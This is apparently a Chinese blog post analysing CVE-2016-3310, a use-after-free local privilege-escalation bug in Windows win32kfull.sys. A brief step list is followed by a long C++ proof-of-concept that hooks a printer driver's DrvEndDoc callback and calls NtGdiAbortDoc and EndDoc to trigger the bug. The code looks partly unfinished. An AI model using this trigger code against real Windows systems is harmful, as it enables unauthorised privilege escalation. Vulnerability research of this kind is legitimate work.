CVE-2016-3310漏洞分析

0x00漏洞信息

漏洞影响:本地提权

漏洞文件:win32kfull.sys

漏洞函数:NtGdEndDoc

漏洞原因:释放重引用

漏洞日期: 2016 年 8 月 16 日

【漏洞分析合集】

0x01漏洞分析

  1. 获取打印机 DC,然后开始打印作业。
  2. 调用win32k!NtGdiMakeInfoDC将 HDC+0x8C8 处的表面对象指针存储到 HDC+0x1F8
  3. 挂钩user32!__ClientPrinterThunk 函数DrvEndDoc 执行win32k!NtGdiEndDoc时会触发钩子处理程序,然后执行win32k!NtGdiMakeInfoDC函数将表面对象指针从 HDC+0x1F8 恢复到 HDC+0x8C8。
  4. win32k!bEndDocInternal的结尾,将通过将引用计数减少到 0 来禁用表面对象引用计数。
  5. 从我们的受控程序中,我们现在可以通过调用gdi32!DeleteObject API 函数来释放禁用的表面对象。

0x02poc

#include<windows.h>
#include<winddi.h>
#include<winspool.h>
#include <winternl.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib ")
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

#define ThreadNameInformation 0x26
#define SystemExtendedHandleInformation  64
#define SystemBigPoolInformation 66

using ZwQuerySystemInformation_t = NTSTATUS(*)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);

using NtSetInformationThread_t = NTSTATUS(*)(
    HANDLE threadHandle,
    THREADINFOCLASS threadInformationClass,
    PVOID threadInformation,
    ULONG threadInformationLength);


using DrvEnableDriver_t = BOOL(*)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);

using DrvEnablePDEV_t = DHPDEV(*)(
    SURFOBJ* pso, POINTL* pptl);

using DrvEnablePDEV_t = DHPDEV(*)(
    SURFOBJ* pso, POINTL* pptl);

using DrvDisableDriver_t = void(*)();

typedef struct _SYSTEM_BIGPOOL_ENTRY
{
    union
    {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;     // Set to 1 if entry is nonpaged.
    };
    SIZE_T SizeInBytes;
    union
    {
        UCHAR Tag[4];
        ULONG TagUlong;
    };
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION
{
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;



namespace g {
    DrvEnablePDEV_t OldDrvEnablePDEV = 0;
    DrvEnableDriver_t DrvEnableDriver = 0;
    DrvDisableDriver_t DrvDisableDriver = 0;
    ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
    NtSetInformationThread_t NtSetInformationThread = 0;
    ULONG64 RtlSetAllBitsAddress = 0;
    PCHAR szKernelName = NULL;
    PCHAR szPrinterName = NULL;
    HANDLE hToken = INVALID_HANDLE_VALUE;
    ULONG64 KernelBase = 0;
    bool bIsTrigger = false;
    HDC hdc = 0;
};

void Hook_DrvEnablePDEV();
ULONG64 GetKernelBase();
bool Init();
ULONG64 GetToken();
BOOL DrvEnablePDEV_Proxy(
    SURFOBJ* pso, POINTL* pptl);

void Hook_DrvEnablePDEV() {
    DWORD cbBuf = 0;
    DWORD cbNeed, cReturned;
    PPRINTER_INFO_4 PrintInfo = NULL;
    DRVENABLEDATA DrvData;
    DWORD OldProtect;
    HANDLE hPrinter = INVALID_HANDLE_VALUE;

    //首先枚举本地安装的打印机,找到可用的
    EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &cbNeed, &cReturned);
    if (cbNeed <= 0) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__);
        exit(-1);
    }
    PrintInfo = (PPRINTER_INFO_4)GlobalAlloc(GMEM_ZEROINIT, cbNeed);
    if (PrintInfo == NULL) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__);
        exit(-1);
    }
    if (!EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (PBYTE)PrintInfo, cbNeed, &cbNeed, &cReturned)
        || cReturned <= 0) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__);
        exit(-1);
    }

    // 循环查找打印机
    for (DWORD i = 0; i < cReturned; i++) {
        if (!OpenPrinterA(PrintInfo[i].pPrinterName, &hPrinter, NULL)) {
            printf("[Error_%d] Hook_DrvEnablePDEV(): OpenPrinterA failed.\n", __LINE__);
            continue;
        }
        else {
            printf("[+] Using a available printer: %s.\n", PrintInfo[i].pPrinterName);
            g::szPrinterName = _strdup(PrintInfo[i].pPrinterName);

            // 获取打印机驱动文件名
            GetPrinterDriverA(hPrinter, NULL, 2, NULL, NULL, &cReturned);
            if (cReturned <= 0) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__);
                continue;
            }
            PDRIVER_INFO_2 DrvInfo = (PDRIVER_INFO_2)GlobalAlloc(GMEM_ZEROINIT, cReturned);
            if (DrvInfo == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__);
                continue;
            }

            if (!GetPrinterDriverA(hPrinter, NULL, 2, (PBYTE)DrvInfo, cReturned, &cReturned) ||
                cReturned <= 0) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__);
                continue;
            }

            HMODULE hPrinterDrv = LoadLibraryExA(DrvInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
            if (hPrinterDrv == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): LoadLibraryExA failed.\n", __LINE__);
                continue;
            }

            g::DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinterDrv, "DrvEnableDriver");
            g::DrvDisableDriver = (DrvDisableDriver_t)GetProcAddress(hPrinterDrv, "DrvDisableDriver");
            if (g::DrvEnableDriver == NULL || g::DrvDisableDriver == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find target functions .\n", __LINE__);
                continue;
            }
            // 打开图形驱动,获取回调函数列表,里面有我们要HOOK的函数
            if (!g::DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &DrvData)) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): DrvEnableDriver failed.\n", __LINE__);
                continue;
            }

            if (!VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), PAGE_READWRITE, &OldProtect))
            {
                printf("[Error_%d] Hook_DrvEnablePDEV(): VirtualProtect failed.\n", __LINE__);
                continue;
            }

            for (DWORD i = 0; i < DrvData.c; i++) {
                if (DrvData.pdrvfn[i].iFunc == INDEX_DrvEndDoc) {
                    // 保存并HOOK
                    g::OldDrvEnablePDEV = (DrvEnablePDEV_t)DrvData.pdrvfn[i].pfn;
                    DrvData.pdrvfn[i].pfn = (PFN)DrvEnablePDEV_Proxy;
                    break;
                }
            }
        }
        // 关闭图形驱动
        g::DrvDisableDriver();
        VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), OldProtect, &OldProtect);

        return;
    }

}
HDC hdc1;
BOOL DrvEnablePDEV_Proxy(//INDEX_DrvEndDoc 要改成 这个的参数
    SURFOBJ * pso,POINTL * pptl) {

    DHPDEV res;
    
    //pptl->x = 0xFFFFFFFF;
    //pptl->y = 0xFFFFFFFF;
    //res = g::OldDrvEnablePDEV(pso, pptl);
    if (g::bIsTrigger) {
        printf("[+] DrvEnablePDEV_Proxy called.\n");
        ExtFloodFill(hdc1, 0xf6, 0x70c0ad7, 0x3d, 0x0);
    }
    return true;
}

typedef NTSTATUS(NTAPI* myfull)
(HDC a1);
int main(int argc, char* argv[])
{
    Hook_DrvEnablePDEV();//HOOK DrvTextOut  Microsoft XPS Document Writer
    hdc1 = CreateDCA(0, "Microsoft XPS Document Writer", 0, 0);//创建打印设备OneNote
    printf("[-] hdc: %p\n", hdc1);
    

    SetTextAlign(hdc1, 0xff);
    SetBkMode(hdc1, 2);
    DOCINFOW d1;
    d1.cbSize = sizeof(DOCINFOW);
    d1.lpszDocName = L"print1";
    d1.lpszOutput = d1.lpszDocName;
    d1.lpszDatatype = L"EMF";
    d1.fwType = 0xa8990032;

    // 用于设置每个字符间隔的数组  
    int arr1[3] = { 95,77, 0 };
    int arr2[3] = { 35, 40, 0 };
    int arr3[2] = { 32, 0 };
    RECT rec;
    rec.left = 5;//0
    rec.right = 6;//3
    rec.bottom = 8;//2
    rec.top = 7;//1
    POLYTEXT polys[] = { {2,2,5,"大家",2,rec,&arr3[0]},
    {2,25,5,"新年好",2,rec,&arr2[0]},
    {999,60,5,"快乐\0",2,rec,&arr3[0]},
        {30,60,5,"快乐\0",2,rec,&arr3[0]},
        {30,60,5,"快乐\0",2,rec,&arr3[0]}
    };
    g::bIsTrigger = TRUE;

    HINSTANCE LibHandle;
    LibHandle = LoadLibrary("win32u");
    myfull funtion = (myfull)GetProcAddress(LibHandle, "NtGdiAbortDoc");
    printf("[-] funtion: %d\n", funtion);
    __debugbreak();
    
    int a = StartDocW(hdc1, &d1);//启动打印作业 bMakeInfoDC

    printf("[-] 打印机: %d\n", a);
    StartPage(hdc1);// 会调用bMakeInfoDC
    //EngCopyBits();
    //__debugbreak();
    funtion(hdc1);
    //funtion(hdc1);
    //EndPage(hdc1);
    //EndPage(hdc1);
    EndDoc(hdc1);
    
    getchar();
    return 0;
}

 

posted @ 2022-07-09 20:37  紅人  阅读(119)  评论(0编辑  收藏  举报